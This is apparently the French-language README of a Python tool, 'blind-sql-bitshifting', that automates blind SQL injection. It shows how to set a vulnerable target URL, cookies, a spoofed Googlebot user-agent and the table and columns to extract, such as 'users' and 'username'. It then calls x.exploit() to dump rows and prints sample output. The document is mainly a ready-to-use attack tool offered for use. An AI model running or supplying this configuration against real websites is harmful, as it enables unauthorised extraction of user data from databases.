
Un module d'injection SQL aveugle qui utilise le décalage de bits pour calculer les caractères.
Ce module effectue une injection SQL aveugle en utilisant la méthode du décalage de bits pour calculer les caractères au lieu de les deviner. Il nécessite 7/8 requêtes par caractère, selon la configuration.
import blind-sql-bitshifting as x
# Modifiez ce dictionnaire pour configurer les vecteurs d'attaque
x.options
# Lien vulnérable
x.options["target"] = "http://www.example.com/index.php?id=1"
# Spécifiez un cookie (optionnel)
x.options["cookies"] = ""
# Spécifiez une condition pour une ligne particulière, par ex. 'uid=1' pour l'admin (optionnel)
x.options["row_condition"] = ""
# Option booléenne pour suivre les redirections
x.options["follow_redirections"] = 0
# Spécifiez le user-agent
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# Spécifiez le nom de la table à extraire
x.options["table_name"] = "users"
# Spécifiez les colonnes à extraire
x.options["columns"] = "id, username"
# Chaîne à rechercher sur la page après une instruction réussie
x.options["truth_string"] = "<p id='success'>true</p>"
# Voir ci-dessous
x.options["assume_only_ascii"] = 1
L'option assume_only_ascii fait en sorte que le module suppose que les caractères extraits sont tous en ASCII. Comme le jeu de caractères ASCII ne va que jusqu'à 127, nous pouvons fixer le premier bit à 0 sans avoir à le calculer. Cela représente une réduction 12.5% du nombre de requêtes. En test local, cela a donné une augmentation de vitesse moyenne de 15%. Bien sûr, cela peut poser problème lors de l'extraction de caractères en dehors de la plage ASCII. Par défaut, elle est réglée sur 0.
Une fois configuré :
data = x.exploit()
Ceci renvoie un tableau à deux dimensions, chaque sous-tableau contenant une seule ligne, la première étant les en-têtes de colonnes.
Exemple de sortie :
[['id', 'username'], ['1', 'user1'], ['2', 'user2'], ['3', 'user3'], ['4', 'user4']]
Optionnellement, vos scripts peuvent ensuite utiliser le module tabulate pour afficher les données :
from tabulate import tabulate
data = x.exploit()
print tabulate(data,
headers='firstrow', # Ceci indique d'utiliser la première ligne comme en-têtes de colonnes.
tablefmt='psql') # Utilise le format de sortie SQL. D'autres formats peuvent être utilisés.
Cela afficherait :
+------+------------+
| id | username |
|------+------------|
| 1 | user1 |
| 2 | user2 |
| 3 | user3 |
| 4 | user4 |
+------+------------+